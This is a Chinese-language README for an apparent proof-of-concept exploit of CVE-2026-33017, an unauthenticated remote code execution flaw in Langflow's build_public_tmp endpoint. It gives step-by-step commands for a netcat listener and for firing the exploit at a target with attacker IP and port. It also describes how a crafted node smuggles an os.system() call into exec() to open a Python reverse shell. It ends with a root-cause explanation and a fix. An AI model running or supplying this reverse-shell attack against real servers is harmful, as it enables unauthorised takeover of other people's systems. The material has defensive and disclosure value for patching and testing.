⚠️ 免责声明: 此仓库仅用于授权的安全测试和教育目的。仅在您拥有或已获得明确许可的系统上使用。作者不对该工具的任何滥用或损害负责。
CVE-2026-33017 是 Langflow(一个用于构建 LangChain 应用程序的可视化框架)中的一个未授权远程代码执行漏洞。
POST /api/v1/build_public_tmp/{flow_id}/flow 端点允许在未认证的情况下构建公共流程。当提供可选的 data 参数时,端点会使用攻击者控制的流程数据(节点定义中包含任意 Python 代码)来替代数据库中存储的流程数据。该代码会被传递给 exec() 且没有任何沙箱保护,从而导致未授权的远程代码执行。
client_id cookie(任意字符串值)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
在攻击机器上启动一个 netcat 监听器以捕获反弹 shell:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Fire exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — 构造一个恶意的 Langflow 节点,其中包含一个带有攻击者控制 Python 代码的 CustomComponent。代码包含一个顶级的 os.system() 调用,该调用在图构建期间(甚至在流程“运行”之前)执行。
fire_payload() — 将恶意节点以 JSON 格式发送到未认证的 build_public_tmp 端点,并附带一个随机的 client_id cookie。
代码执行 — 服务器解析攻击者提供的流程数据,实例化自定义组件,并在 prepare_global_scope() 过程中对嵌入的代码调用 exec()。顶级赋值 _r = __import__('os').system(...) 立即触发命令执行。
反弹 Shell — Payload 会生成一个 Python 反弹 shell,连接到您的监听器。
build_public_tmp 端点设计为无需认证(用于公共流程),但它错误地通过 data 参数接受攻击者提供的流程数据。当提供了 data 时,它会绕过存储的流程数据,直接将攻击者控制的节点传递给图形构建器。
移除 build_public_tmp 中的 data 参数。公共流程应仅执行数据库中存储的流程数据,绝不接受攻击者提供的数据。
此项目仅用于教育及授权的安全测试目的。
| 参数 | 必填 | 描述 |
|---|
--url | 是 | 目标 URL(例如 http://localhost:7860) |
--flow-id | 是 | 公共流程 UUID |
--lhost | 是 | 您的监听器 IP 地址 |
--lport | 是 | 您的监听器端口 |
--timeout | 否 | 请求超时(秒,默认:15) |